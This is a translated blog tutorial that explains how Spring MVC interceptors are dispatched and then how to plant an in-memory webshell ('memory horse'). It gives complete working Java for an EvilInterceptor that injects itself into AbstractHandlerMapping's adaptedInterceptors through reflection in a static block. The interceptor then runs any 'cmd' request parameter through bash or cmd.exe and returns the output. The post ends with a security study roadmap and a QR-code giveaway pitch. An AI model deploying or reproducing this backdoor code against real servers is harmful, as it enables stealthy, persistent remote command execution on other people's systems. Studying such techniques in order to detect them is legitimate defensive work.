Front
What is Interceptor technology?
In the system, it is often necessary to perform some actions before and after processing user requests, such as detecting user permissions, or recording requested information into logs, which are usually referred to as "permission detection" and "logging". Of course, it’s not just these, so a mechanism is needed to intercept user requests and add processing logic before and after the request.
Spring MVC provides the Interceptor interceptor mechanism for pre-processing and post-processing of requests.
Common effects in practical applications are:
-
Logging: Recording logs of request information for information monitoring, information statistics, calculation of PV (Page View), etc.;
-
Permission check: such as login detection, enter the processor to detect whether to log in;
-
Performance monitoring: The interceptor records the start time before entering the processor, and records the end time after processing, so as to obtain the processing time of the request. (Reverse proxies such as Apache can also log automatically)
-
General behavior: read the Cookie to get user information and put the user object into the request, so as to facilitate the use of subsequent processes, as well as extract Locale, Theme information, etc., as long as it is required by multiple processors, it can be implemented with an interceptor.
simple example
Defining an interceptor in the Spring MVC framework requires defining and configuring the interceptor, mainly in the following two ways:
-
Defined by implementing the HandlerInterceptor interface or an implementation class that inherits the HandlerInterceptor interface (such as HandlerInterceptorAdapter);
-
Defined by an implementation class that implements the WebRequestInterceptor interface or inherits the WebRequestInterceptor interface.
Here we create an interceptor class by implementing the HandlerInterceptor interface
package pres.test.spring.interceptor; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class TestInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("preHandle......."); return false; } @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { System.out.println("postHandle......."); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { System.out.println("afterCompletion......."); } }
Three methods have been rewritten, and their functions are as follows:
-
preHandle( ): This method is executed before the processing request method of the controller. Its return value indicates whether to interrupt the subsequent operation. Returning true indicates that the execution continues downward, and returning false indicates that the subsequent operation is interrupted.
-
postHandle( ): This method is executed after the controller's processing request method is called and before parsing the view. This method can be used to further modify the model and view in the request domain.
-
afterCompletion( ): This method is executed after the processing request method of the controller is executed, that is, it is executed after the view rendering is completed. Through this method, some tasks such as resource cleaning and log information recording can be realized.
Also we need to configure the interceptor in Spring mvc
<!-- Configure interceptors --> <mvc:interceptors> <mvc:interceptor> <!-- Blocked resource scope --> <mvc:mapping path="/**"/> <!-- Interceptor for processing --> <bean class="pres.test.spring.interceptor.TestInterceptor" /> </mvc:interceptor> </mvc:interceptors>
The call of the preHandle method can be found in the terminal, why only the preHandle method is called? From the function of the above method, it is not difficult to find that this method is called first before reaching the controller class, and in our interceptor code, we can find that we return false, so we will not continue to execute downwards , an authentication processing operation can be performed here.
Process analysis
First look at the call stack up to the preHandle method call
preHandle:13, TestInterceptor (pres.test.spring.interceptor) applyPreHandle:148, HandlerExecutionChain (org.springframework.web.servlet) doDispatch:1062, DispatcherServlet (org.springframework.web.servlet) doService:963, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:655, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:764, HttpServlet (javax.servlet.http) internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilter:52, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) invoke:196, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:542, AuthenticatorBase (org.apache.catalina.authenticator) invoke:135, StandardHostValve (org.apache.catalina.core) invoke:81, ErrorReportValve (org.apache.catalina.valves) invoke:698, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:364, CoyoteAdapter (org.apache.catalina.connector) service:624, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
The above are all related to the Tomcat container, so don’t worry about it, we will directly focus on the Spring framework.
Pay attention to the org.springframework.web.servlet.DispatcherServlet#doService method.
From the comments, we can know that resource scheduling is mainly done through the doDispatch method.
follow up
Mainly by processing the corresponding handler s, which are found in the HandlerMappings attribute.
Determine which handler corresponds to the current request by calling getHandler.
In this method, the corresponding handler is obtained mainly by traversing the aforementioned handlerMappings attribute,
Moreover, this method returns an object of the HandlerExecutionChain class.
We continue to follow up the process of calling the mapping.getHandler method.
First, get the handler class corresponding to the request request by calling the getHandlerInternal method, here is the IndexController class created in the previous article.
Then call the getHandlerExecutionChain method to get the HandlerExecutionChain class object that will be returned
follow up.
First, it will judge whether the previously obtained handler is a HandlerExecutionChain instance, if not, it will encapsulate a HandlerExecutionChain object through its construction method and return it.
Then it will traverse the adaptedInterceptors attribute value, which is the interceptor configured by Spring MVC.
After that, it will judge whether the interceptor is a MappedInterceptor instance. If so, its matches method will be called to match whether the intercepted resource path set by the interceptor includes the request.
If it matches, the HandlerExecutionChain#addInterceptor method will be called to add the successfully matched interceptor to the interceptorList property of the HandlerExecutionChain class.
Of course, if you set a global interceptor, it is naturally not an instance of MappedInterceptor, but he will directly add the interceptor to the attribute.
Finally, the HandlerExecutionChain class object will be returned,
Back in the doDispatch method,
The HandlerExecutionChain#applyPreHandle method will be called for processing.
Looking at the comments, we also know that this is the preHandle method that calls the corresponding interceptor.
It is mainly to traverse the interceptorList attribute added to the interceptor before traversing, and then call its preHandle method. Traversing from here can also reflect that the same resource path may have multiple interceptors for processing!
text
Injection process
Through the above analysis of the process in Spring MVC, we probably know the injection method,
From the above analysis, we can notice that when the method corresponds to the resource, the preHandler method of its element will be executed by traversing the interceptorList. So, how does the content in the interceptorList come from?
Through the above analysis, it is not difficult to find that every time a resource path is accessed, the AbstractHandlerMapping#getHandlerExecutionChain method will be called to obtain the corresponding HandlerExecutionChain
Here, the value in the adaptedInterceptors attribute is traversed, and then each element is written to the interceptor by calling the chain.addInterceptor method, which is the aforementioned interceptorList#add, and finally it will match the elements in the interceptorList Perform call processing.
Therefore, if we can dynamically add our malicious interceptor class to the adaptedInterceptors attribute, we can achieve our goal. Let's follow up this attribute.
This is a private property in the AbstractHandlerMapping class,
So what if the attribute value is obtained?
The Spring framework provides a tool for exposing the Request object, that is, the RequestContextHolder class. Using this class, the Request can be obtained in one thread, avoiding the situation of the Request from beginning to end.
look at this class
Can expose the RequestAttributes object of the corresponding thread, in which there is a currentRequestAttributes method.
returns all attributes of the current thread,
We need to get an ApplicationContext object,
There is such a property that can get an Application object,
Then we can get the RequestMappingHandlerMapping class object through the getBean method of the context object.
((ApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)).getBean(RequestMappingHandlerMapping.class)
Why do you want to get this object?
Our purpose is to get the interceptors attribute in AbstractHandlerMapping, and then assign it through reflection
But because this class is an abstract class, it cannot be obtained directly, so we chose this class according to the inheritance relationship.
Then you can get the corresponding attribute value through reflection,
After that, create a malicious Interceptor object and call the add method to write it.
accomplish
The implementation of this memory horse is very simple (compared to other memory horses),
According to the analysis of the previous injection process,
The first is to use the RequestContextHolder class to obtain the corresponding attribute value.
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class); Field field = null; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = null; try { adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); }
Create a malicious interceptor class after getting the attribute value,
public class EvilInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { java.io.PrintWriter printWriter = response.getWriter(); ProcessBuilder builder; String o = ""; if (System.getProperty("os.name").toLowerCase().contains("win")) { builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd}); } java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); printWriter.println(o); printWriter.flush(); printWriter.close(); } catch (Exception e) { e.printStackTrace(); } return false; } return true; } @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } }
The command is executed in the preHandler above, and the result after the execution is completed is returned to the interface.
Then call the add method of the attribute to add,
EvilInterceptor evilInterceptor = new EvilInterceptor("aaa"); adaptedInterceptors.add(evilInterceptor);
Similarly, if you want to successfully inject the memory horse, you need to load this class. Here, a Controller is created to simulate injection through deserialization.
package pres.test.spring.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @Controller @RequestMapping("/addSpringInterceptor") public class AddSpringInterceptor { @GetMapping public void index(HttpServletRequest request, HttpServletResponse response) { try { Class.forName("pres.test.spring.interceptor.EvilInterceptor"); response.getWriter().println("add successfully!"); } catch (Exception e) { e.printStackTrace(); } } }
example
complete malicious class
package pres.test.spring.interceptor; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Field; public class EvilInterceptor implements HandlerInterceptor { static { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class); Field field = null; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = null; try { adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); } EvilInterceptor evilInterceptor = new EvilInterceptor("aaa"); adaptedInterceptors.add(evilInterceptor); } public EvilInterceptor(String aaa) { } @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { java.io.PrintWriter printWriter = response.getWriter(); ProcessBuilder builder; if (System.getProperty("os.name").toLowerCase().contains("win")) { builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd}); } BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); String s = bufferedReader.readLine(); printWriter.println(s); printWriter.flush(); printWriter.close(); } catch (Exception e) { e.printStackTrace(); } return false; } return true; } @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } }
The main thing here is to put the specific execution operations in the static static block, so that when this class is loaded, the class content in the static code block will be executed and successfully written into the memory horse.
access controller
Then test whether the memory horse is successfully injected
Executed successfully.
at last
Share a quick way to learn [Network Security], "maybe" the most comprehensive learning method:
1. Theoretical knowledge of network security (2 days)
① Understand the relevant background and prospects of the industry, and determine the development direction.
②Learn laws and regulations related to network security.
③The concept of network security operation.
④Multiple guarantee introduction, guarantee regulations, procedures and norms. (Very important)
2. Penetration testing basics (one week)
①Penetration testing process, classification, and standards
②Information collection technology: active/passive information collection, Nmap tool, Google Hacking
③ Vulnerability scanning, vulnerability utilization, principles, utilization methods, tools (MSF), bypassing IDS and anti-virus reconnaissance
④ Host offensive and defensive drills: MS17-010, MS08-067, MS10-046, MS12-20, etc.
3. Basic operating system (one week)
①Common functions and commands of Windows system
②Common functions and commands of Kali Linux system
③ Operating system security (system intrusion investigation/system reinforcement basis)
4. Basics of computer network (one week)
①Computer network foundation, protocol and architecture
②Network communication principle, OSI model, data forwarding process
③Analysis of common protocols (HTTP, TCP/IP, ARP, etc.)
④Network attack technology and network security defense technology
⑤Web vulnerability principle and defense: active/passive attack, DDOS attack, CVE vulnerability recurrence
5. Basic database operations (2 days)
①Database foundation
②SQL language foundation
③Database security hardening
6. Web penetration (1 week)
①Introduction to HTML, CSS and JavaScript
②OWASP Top10
③Web vulnerability scanning tool
④Web penetration tools: Nmap, BurpSuite, SQLMap, others (chopper, missed scan, etc.)
Congratulations, if you learn this, you can basically work in a network security-related job, such as penetration testing, Web penetration, security services, security analysis and other positions; if you learn the security module well, you can also work as a security engineer. The salary range is 6k-15k.
So far, about a month. You've become a "script kiddie". So do you still want to explore further?
Friends who want to get involved in hacking & network security, I have prepared a copy for everyone: 282G, the most complete network security data package on the entire network, for free!
Scan the QR code below and get it for free
With these foundations, if you want to study in depth, you can refer to the super-detailed learning roadmap below. Learning according to this route is enough to support you to become an excellent intermediate and senior network security engineer:
High-definition learning roadmap or XMIND file (click to download the original file)
There are also some video and document resources collected in the study, which can be taken by yourself if necessary:
Supporting videos for each growth route corresponding to the sector:
Of course, in addition to the supporting videos, various documents, books, materials & tools have also been sorted out for you, and they have been classified for you.
Due to the limited space, only part of the information is displayed. If you need it, you can [scan the QR code below to get it for free]